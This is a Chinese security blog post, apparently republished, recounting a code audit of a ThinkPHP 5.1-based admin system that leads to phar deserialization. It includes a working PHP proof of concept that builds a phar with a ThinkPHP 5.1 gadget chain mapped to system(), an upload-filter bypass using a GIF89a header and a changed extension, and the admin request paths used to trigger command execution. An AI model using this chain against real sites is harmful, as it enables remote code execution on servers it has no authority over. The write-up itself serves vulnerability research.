记某次phar反序列化审计捡漏记录

admin 2024年10月12日10:39:36评论12 views字数 2503阅读8分20秒阅读模式

原文首发在:奇安信攻防社区

https://forum.butian.net/share/3785

前端时间学习了下phar反序列化的原理,想着找个通用系统挖挖看,运气好捡到一个,便有此文记录一下捡漏过程。

前言

前端时间学习了下phar反序列化的原理,想着找个通用系统挖挖看,运气好捡到一个,便有此文记录一下捡漏过程。

前置知识

可以认为Phar是PHP的压缩文档。从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

Phar之所以能触发反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data。而PHP在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

常见的可以触发Phar反序列化的PHP文件系统函数如下

记某次phar反序列化审计捡漏记录

寻找目标

由于光有反序列化触发点还是无法证明存在反序列化漏洞,还需要配合利用链才完整,加上目标网上已经有公开的链可以打,比如

ThinkPHP5.1反序列化漏洞实现rce,所以尝试寻找使用tp5.1二开的项目来审计挖掘。

审计过程

github上搜寻符合我们要求的框架,下载后全局搜索诸如is_file、is_dir等可能存在漏洞的函数且参数可控的地方,找到这么一处

记某次phar反序列化审计捡漏记录

在 /application/admin/controller/Database.php 中有一个is_dir判断,而该函数可以触发phar反序列化,由于是使用tp5.1的项目,只要上传一个tp5.1序列化的phar文件,然后控制数据库备份路径为该phar文件即可。

漏洞功能点如下

记某次phar反序列化审计捡漏记录

在后台系统设置-数据库 中可以设置数据库备份根路径,那么只要将此处设置为上传的phar文件的路径即可。

漏洞点位于后台,自己环境登录后,寻找上传点上传

POST /admin.php/admin/attachment/upload/dir/images/module/admin.html HTTP/1.1

记某次phar反序列化审计捡漏记录

尝试后台的几个上传功能都失败了,分析下源码,通过调用/admin/目录下的attachment.php中的upload方法进行上传,上传接口的/dir/images/module/admin.html,分别对应dir→images, module→admin.html

记某次phar反序列化审计捡漏记录

发现都是通过调用savefile函数

记某次phar反序列化审计捡漏记录

记某次phar反序列化审计捡漏记录

限制了文件mime、后缀名等,好在PHP在识别Phar文件时,是通过其文件头部标识__HALT_COMPILER();?>,并且对头部标识前面的内容或后缀名没有严格要求的。
因此可以通过添加任意的文件头并修改Phar文件后缀名的方式,将Phar文件伪装成其他格式的文件,从而绕过上传点限制。

通过如下poc生成phar文件,上传时修改为任意后缀即可

<?php

namespace thinkprocesspipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace thinkmodelconcern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "dir"];
}
}
}
namespace think {
abstract class Model
{
use modelconcernAttribute;
use modelconcernConversion;
}
}
namespace thinkmodel{
use thinkModel;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new thinkmodelPivot();
$payload = new thinkprocesspipesWindows($conver);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($payload);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>

结果还是不行

记某次phar反序列化审计捡漏记录

源码里也并未发现别的过滤,转向看返回的报错信息

记某次phar反序列化审计捡漏记录

不知道在哪儿调用了这个vendortopthinkthink-imagesrcImage.php,校验了图像信息,导致上传失败

返回去搜这个$info变量,发现原来是再上传后移动文件时调用了这个检测图片正确性的代码,导致抛出异常上传不了

记某次phar反序列化审计捡漏记录

记某次phar反序列化审计捡漏记录

可以看到当dir=images时,就会向下执行vendortopthinkthink-imagesrcImage.php中的图像正确性校验函数,导致上传失败。

因此,只能转向搜索其他上传点

记某次phar反序列化审计捡漏记录

发现一处通过ueditor上传附件的地方,且也是通过savefile函数去调用的

因此将原先的上传接口中的dir参数改为files即/admin.php/admin/attachment/upload/dir/files/module/admin.html即可(文件后缀也改成附件类型的zip、docx等等)

记某次phar反序列化审计捡漏记录

回到后台把数据库备份路径改成上传的恶意文件地址

记某次phar反序列化审计捡漏记录

保存后再访问调用了目标is_dir()函数的地址例如admin.php/admin/database/index/group/import.html,即可触发执行了poc中的dir命令

记某次phar反序列化审计捡漏记录

原文始发于微信公众号(亿人安全):记某次phar反序列化审计捡漏记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月12日10:39:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记某次phar反序列化审计捡漏记录https://cn-sec.com/archives/3254972.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息